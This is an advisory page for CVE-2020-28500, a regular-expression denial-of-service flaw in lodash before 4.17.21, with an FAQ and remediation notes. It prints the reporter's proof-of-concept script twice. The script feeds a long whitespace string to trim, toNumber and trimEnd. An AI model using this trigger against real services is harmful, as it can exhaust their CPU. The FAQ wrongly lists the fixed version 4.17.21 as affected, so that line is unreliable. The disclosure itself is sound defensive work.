CVE-2020-28500: Regular Expression Denial of Service (ReDoS)
A flaw was found in nodejs-lodash. A Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions is possible.
Other sources
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen): js var lo = require('lodash');
function buildblank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = buildblank(50000) var time0 = Date.now(); lo.trim(s) var timecost0 = Date.now() - time0; console.log("timecost0: " + timecost0); var time1 = Date.now(); lo.toNumber(s) var timecost1 = Date.now() - time1; console.log("timecost1: " + timecost1); var time2 = Date.now(); lo.trimEnd(s); var timecost2 = Date.now() - time2; console.log("timecost2: " + timecost2);
All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function buildblank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = buildblank(50000) var time0 = Date.now(); lo.trim(s) var timecost0 = Date.now() - time0; console.log("timecost0: " + timecost0) var time1 = Date.now(); lo.toNumber(s) var timecost1 = Date.now() - time1; console.log("timecost1: " + timecost1) var time2 = Date.now(); lo.trimEnd(s) var timecost2 = Date.now() - time2; console.log("timecost2: " + timecost2)
Reference: https://snyk.io/vuln/SNYK-JS-LODASH-1018905
— Red Hat
Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Affected Software
Remediation
Patch Available
Patch Available
Patch Available
Patch Available
Event History
Parent advisories
This vulnerability appears in the following advisories.
Frequently Asked Questions
What is CVE-2020-28500?
CVE-2020-28500 is a vulnerability in nodejs-lodash that allows for Regular Expression Denial of Service (ReDoS) attacks via the toNumber, trim, and trimEnd functions.
What is the severity of CVE-2020-28500?
CVE-2020-28500 has a severity rating of 7.5, which is considered high.
Which software versions are affected by CVE-2020-28500?
All versions of package lodash prior to 4.17.21 are vulnerable to CVE-2020-28500, including the following software versions: cockpit-ovirt 0:0.15.1-2.el8e, ovirt-engine-ui-extensions 0:1.2.6-1.el8e, ovirt-web-ui 0:1.6.9-1.el8e, nodejs-lodash 4.17.21, lodash.trim 4.17.21, lodash.trimend 4.17.21, lodash-es 4.17.21, and lodash 4.17.21.
How can I fix CVE-2020-28500?
To fix CVE-2020-28500, you should update the affected software packages to version 4.17.21 or later.
Where can I find more information about CVE-2020-28500?
You can find more information about CVE-2020-28500 at the following references: IBM X-Force Exchange (https://exchange.xforce.ibmcloud.com/vulnerabilities/196972), IBM Support (https://www.ibm.com/support/pages/node/6570957), CVE website (https://www.cve.org/CVERecord?id=CVE-2020-28500), NVD (https://nvd.nist.gov/vuln/detail/CVE-2020-28500), and Snyk (https://snyk.io/vuln/SNYK-JS-LODASH-1018905).